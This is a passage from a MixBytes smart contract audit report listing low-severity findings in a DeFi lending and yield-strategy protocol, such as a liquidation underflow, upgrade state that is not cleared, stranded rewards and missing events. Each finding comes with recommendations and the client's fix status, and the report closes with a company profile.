We recommend calling the internal helper _enterPosition(...) directly from the allocation wrappers (and compute borrowAmount for migration locally via ILendingRouter(migrateFrom).healthFactor(...)), so only the outermost entry point carries the nonReentrant guard.

Client's Commentary:
Fixed in this commit: PR-43

2.4 Low

L-1	Liquidations May Fail Due to Underflow in CurveConvexLib.checkReentrancyContext()		
Severity	Low	**Status**	Fixed in 892c3870

Description
CurveConvexLib.checkReentrancyContext() is called during liquidations to check whether the reentrancy flag in Curve pools is enabled. For pools flagged as CurveInterface.V2, the function calls:

```
ICurve2TokenPoolV2(CURVE_POOL).remove_liquidity(
    1,
    minAmounts,
    true,
    address(this)
);
```

This call burns 1 wei of LP tokens from the CurveConvexLib contract. However, in the normal case the contract shouldn't hold any LP tokens, so the burn fails with an underflow and checkReentrancyContext() reverts.
Since this function is executed inside AbstractSingleSidedLP._preLiquidation(), any liquidation attempt in this strategy will revert.
Moreover, even if the admin supplies LP tokens to the contract to avoid underflow, any user can call this function and burn those tokens, meaning the mitigation would not be effective.

Recommendation
We recommend using a different approach to check whether the state is in a reentrancy context or not.

Client's Commentary:
PR-37

L-2	_flashBorrowAndEnter() Return Values Are Unused in Event Emission		
Severity	Low	**Status**	Fixed in 892c3870

Description

The AbstractLendingRouter._flashBorrowAndEnter() function returns borrowShares and vaultSharesReceived values that are used in the PositionEntered event. However, in the AbstractLendingRouter._enterPosition() function, these return values are ignored and the event is emitted with zero values instead of the actual returned values. This results in incorrect event data being emitted, which can mislead off-chain systems and users monitoring the protocol.

```
if (borrowAmount > 0) {
    _flashBorrowAndEnter(
        onBehalf,
        vault,
        asset,
        depositAssetAmount,
        borrowAmount,
        depositData,
        migrateFrom
    );
```

Recommendation

We recommend using the return values from the _flashBorrowAndEnter functions and using them in the EnterPosition event.

Client's Commentary:

Fixed in this commit:

a809036c

L-3	TimelockUpgradeableProxy.executeUpgrade() Does Not Clear Upgrade State		
Severity	Low	**Status**	Fixed in 892c3870

Description
After a successful upgrade in TimelockUpgradeableProxy.executeUpgrade(), the storage variables newImplementation and upgradeValidAt are not cleared. This means that the upgrade state remains set, and subsequent calls to executeUpgrade() will still use the previous upgrade parameters. While this does not pose a direct security risk, it may lead to inconsistent upgrade logic or unexpected behavior if the function is called again.

```
function executeUpgrade(bytes calldata data) external {
    if (msg.sender != ADDRESS_REGISTRY.upgradeAdmin())
        revert Unauthorized(msg.sender);
    if (block.timestamp < upgradeValidAt)
        revert InvalidUpgrade();
    if (newImplementation == address(0))
        revert InvalidUpgrade();

    ERC1967Utils.upgradeToAndCall(newImplementation, data);
}
```

Recommendation
We recommend clearing newImplementation and upgradeValidAt variables after a successful upgrade.

Client's Commentary:
PR-35

L-4	Rewards Can Remain Stranded During Reward-Pool Migration When forceClaimAfter Gate Blocks the Claim		
Severity	Low	**Status**	Fixed in 892c3870

Description

AbstractRewardManager.migrateRewardPool() first tries to harvest any outstanding rewards via AbstractRewardManager._claimVaultRewards(). That helper is protected by the forceClaimAfter cooldown:

```
if (block.timestamp <
    rewardPool.lastClaimTimestamp + rewardPool.forceClaimAfter)
    return;
```

If the cooldown has not yet elapsed, _claimVaultRewards() returns early. The subsequent _withdrawFromPreviousRewardPool() call withdraws the LP tokens and automatically claims any pending rewards from the old pool, however those tokens arrive **after** the accounting step.
As a result the balances held by the strategy are never added to accumulatedRewardPerVaultShare, so users cannot claim them until governance adds the token as a secondary reward. This is true even when the new reward pool uses the same reward tokens, because the per-share index was snapshotted **before** the transfer and therefore never includes them.
The rewards are not lost, but they remain stranded and unusable by vault-share holders.

Recommendation

We recommend bypassing the forceClaimAfter check during migration so that the accounting always includes the freshly transferred rewards.

Client's Commentary:
PR-35

L-5	Collateral Value Slightly Overestimated Before Cooldown Is Finalized in DineroWithdrawRequestManager		
Severity	Low	**Status**	Fixed in 892c3870

Description

When a withdraw request is initiated from a DineroWithdrawRequestManager vault that holds apxETH, the strategy first redeems the deposited apxETH to pxETH and then starts a Pirex cooldown, which then mints upxETH. Both redemptions might reduce the original apxETH amount due to fees.

As a result, until the request is finalized, the helper getWithdrawRequestValue() estimates collateral as yieldTokenAmount multiplied by yieldToken price (apxETH), while the contract actually holds a slightly smaller amount of upxETH. The collateral value shown in health-factor calculations is therefore overstated by the same small percentage until finalization. Given the current fee levels, the difference is economically insignificant and cannot be exploited. Nevertheless, the bookkeeping is inconsistent, and the overvaluation would scale proportionally if Pirex were to increase its redemption fees in the future.

Recommendation

We recommend storing the **net** amount that remains after the PirexETH.initiateRedemption() call in the request.

Client's Commentary:

PR-35

L-6	AddressRegistry Constant Points to Non-Contract Address on Mainnet		
Severity	Low	**Status**	Acknowledged

Description

The Constants.sol file defines a global constant:

```
AddressRegistry constant ADDRESS_REGISTRY =
    AddressRegistry(0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f);
```

On the Ethereum mainnet, this address is not a deployed contract. It is simply the deterministic address produced by Foundry when a contract is created from the test account makeAddr("deployer") with nonce == 1.

Many core contracts dereference the constant for permission checks and fee routing, for example:

1. AbstractYieldStrategy.collectFees() – forwards fees to ADDRESS_REGISTRY.feeReceiver().
2. Modifiers such as onlyLendingRouter – call ADDRESS_REGISTRY.isLendingRouter(msg.sender) to enforce access control.

Recommendation

We recommend using a dynamically set AddressRegistry address obtained from the deployed contract via a getter, instead of hard-coding it as a constant.

Client's Commentary:

This was just in place for testing. We have changed the address after deployment.

L-7	Unused and Duplicate Imports		
Severity	Low	**Status**	Fixed in 892c3870

Description
Several imports are declared in the codebase but never actually used:

```
- src/interfaces/ISingleSidedLP.sol - Trade
- src/interfaces/IYieldStrategy.sol - MarketParams
- src/interfaces/IYieldStrategy.sol - IMorphoLiquidateCallback,
    IMorphoFlashLoanCallback
- src/single-sided-lp/AbstractSingleSidedLP.sol - AbstractYieldStrategy
- src/single-sided-lp/AbstractSingleSidedLP.sol - TokenizedWithdrawRequest
- src/staking/AbstractStakingStrategy.sol - WithdrawRequestNotFinalized
- src/staking/AbstractStakingStrategy.sol - ADDRESS_REGISTRY
- src/staking/AbstractStakingStrategy.sol - TRADING_MODULE
- src/staking/StakingStrategy.sol - IWithdrawRequestManager
- src/staking/StakingStrategy.sol - weETH, WETH, LiquidityPool, eETH
- src/withdraws/AbstractWithdrawRequestManager.sol - TradeFailed
- src/AbstractYieldStrategy.sol - IOracle
- src/AbstractYieldStrategy.sol - TradeFailed
- src/AbstractYieldStrategy.sol - ILendingRouter
- src/withdraws/GenericERC20.sol - ERC20
- src/routers/MorphoLendingRouter.sol - ILendingRouter
- src/oracles/PendlePTOracle.sol - IPOracle
```

Same import included multiple times unnecessarily:

```
- src/AbstractYieldStrategy.sol - ADDRESS_REGISTRY (imported on line 8)
- src/routers/AbstractLendingRouter.sol - ILendingRouter (imported on line 4)
```

Recommendation
We recommend removing all unused imports to improve code clarity and reduce compilation overhead. For duplicate imports, we recommend keeping only the first occurrence and removing subsequent duplicates. This will help maintain cleaner code and prevent potential confusion during development.

Client's Commentary:
PR-35

L-8	Typos		
Severity	Low	**Status**	Fixed in 892c3870

Description
Several typos, misspellings, and inconsistent naming patterns were identified across the codebase.

```
- `src/interfaces/Curve/ICurve.sol`:
    `recieve` - Correction: `receive`
- `src/rewards/AbstractRewardManager.sol`:
    Comment text - Should be "we're reclaiming" or "we are reclaiming"
- `src/oracles/AbstractCustomOracle.sol`:
    SPDX identifier `BSUL-1.1` - Should be `BUSL-1.1`
- `src/oracles/PendlePTOracle.sol`:
    SPDX identifier `BSUL-1.1` - Should be `BUSL-1.1`
- `src/withdraws/ClonedCooldownHolder.sol`:
    Case sensitivity issue: filename vs contract name - Correction:
    Filename is `ClonedCooldownHolder.sol` (lowercase 'd'),
    but contract/imports use `ClonedCoolDownHolder` (uppercase 'D')
- `src/withdraws/AbstractWithdrawRequestManager.sol`:
    Inconsistent naming - `Cooldown` vs `CoolDown` - needs consistent casing
```

Recommendation
We recommend fixing all identified typos and naming inconsistencies to maintain professional code quality, paying special attention to SPDX license identifiers as they affect legal compliance, and establishing consistent naming conventions across the codebase to avoid confusion.

Client's Commentary:
PR-35

L-9	Missing Event Emissions		
Severity	Low	**Status**	Fixed in 892c3870

Description
Several critical operations in the codebase currently lack event emissions, which reduces transparency and complicates monitoring:
In AbstractYieldStrategy.sol:
- collectFees()

In TimelockUpgradeableProxy.sol:
- pause()
- unpause()
- whitelistSelectors()

In AbstractWithdrawRequestManager.sol:
- finalizeAndRedeemWithdrawRequest()
- finalizeRequestManual()

Recommendation
We recommend implementing comprehensive event emission for all critical operations to improve transparency and enable better monitoring/debugging.

Client's Commentary:
PR-35

L-10	Shared Pause/Unpause Role Creates Security Risk		
Severity	Low	**Status**	Fixed in 892c3870

Description
The pause() and unpause() functions in TimelockUpgradeableProxy contract both use the same pauseAdmin role for authorization. However, unpausing is a more critical action than pausing as it restores full system functionality and should require higher privilege escalation. Currently, any account with pause permissions can also unpause the system, which reduces the effectiveness of emergency pause mechanisms.

Recommendation
We recommend implementing a separate, more restricted role for unpause operations. This creates a proper security hierarchy where pausing (emergency response) can be executed quickly by operational admins, while unpausing (system restoration) requires approval from higher-privileged accounts. Consider implementing an unpauseAdmin role that is controlled by a multi-sig.

Client's Commentary:
PR-33

L-11	Hardcoded Storage Slots Instead of Hash-Based Approach		
Severity	Low	**Status**	Fixed in 892c3870

Description
The storage slot constants in AbstractRewardManager use hardcoded integer values (1000001, 1000002, etc.) instead of hash-based generation. This approach is more prone to conflicts and less maintainable compared to using keccak256 hashing with descriptive strings like `keccak256("notional.reward.pool")`.

Recommendation
We recommend using hash-based storage slot generation for better collision resistance and maintainability. Replace hardcoded constants like `uint256 private constant REWARD_POOL_SLOT = 1000001` with `bytes32 private constant REWARD_POOL_SLOT = keccak256("notional.reward.pool")`. This approach provides better namespace isolation and reduces the risk of storage slot conflicts during upgrades or when integrating with other contracts.

Client's Commentary:
PR-35

L-12	Mapping Key Order Inconsistency		
Severity	Low	**Status**	Fixed in 892c3870

Description
The AbstractRewardManager._getAccountRewardDebtSlot() function declares a nested mapping with order account -> rewardToken, but the actual usage throughout the codebase accesses it as [rewardToken][account]. This inconsistency between declaration and usage can lead to confusion and potential storage layout issues if the declaration is changed to match the intended usage pattern.

Recommendation
We recommend aligning the mapping declaration with its actual usage pattern. Either update the function signature to reflect the actual access pattern mapping(address rewardToken => mapping(address account => uint256 rewardDebt)) or modify all usage sites to match the declared order. Since changing the access pattern would break existing storage layout, the safer approach is to update the function declaration to match the current usage.

Client's Commentary:
PR-35

3. About MixBytes

MixBytes is a leading provider of smart contract audit and research services, helping blockchain projects enhance security and reliability. Since its inception, MixBytes has been committed to safeguarding the Web3 ecosystem by delivering rigorous security assessments and cutting-edge research tailored to DeFi projects.

Our team comprises highly skilled engineers, security experts, and blockchain researchers with deep expertise in formal verification, smart contract auditing, and protocol research. With proven experience in Web3, MixBytes combines in-depth technical knowledge with a proactive security-first approach.

Why MixBytes

- **Proven Track Record:** Trusted by top-tier blockchain projects like Lido, Aave, Curve, and others, MixBytes has successfully audited and secured billions in digital assets.
- **Technical Expertise:** Our auditors and researchers hold advanced degrees in cryptography, cybersecurity, and distributed systems.
- **Innovative Research:** Our team actively contributes to blockchain security research, sharing knowledge with the community.

Our Services

- **Smart Contract Audits:** A meticulous security assessment of DeFi protocols to prevent vulnerabilities before deployment.
- **Blockchain Research:** In-depth technical research and security modeling for Web3 projects.
- **Custom Security Solutions:** Tailored security frameworks for complex decentralized applications and blockchain ecosystems.

MixBytes is dedicated to securing the future of blockchain technology by delivering unparalleled security expertise and research-driven solutions. Whether you are launching a DeFi protocol or developing an innovative dApp, we are your trusted security partner.

Contact Information

https://mixbytes.io/

https://github.com/mixbytes/audits_public

hello@mixbytes.io

https://x.com/mixbytes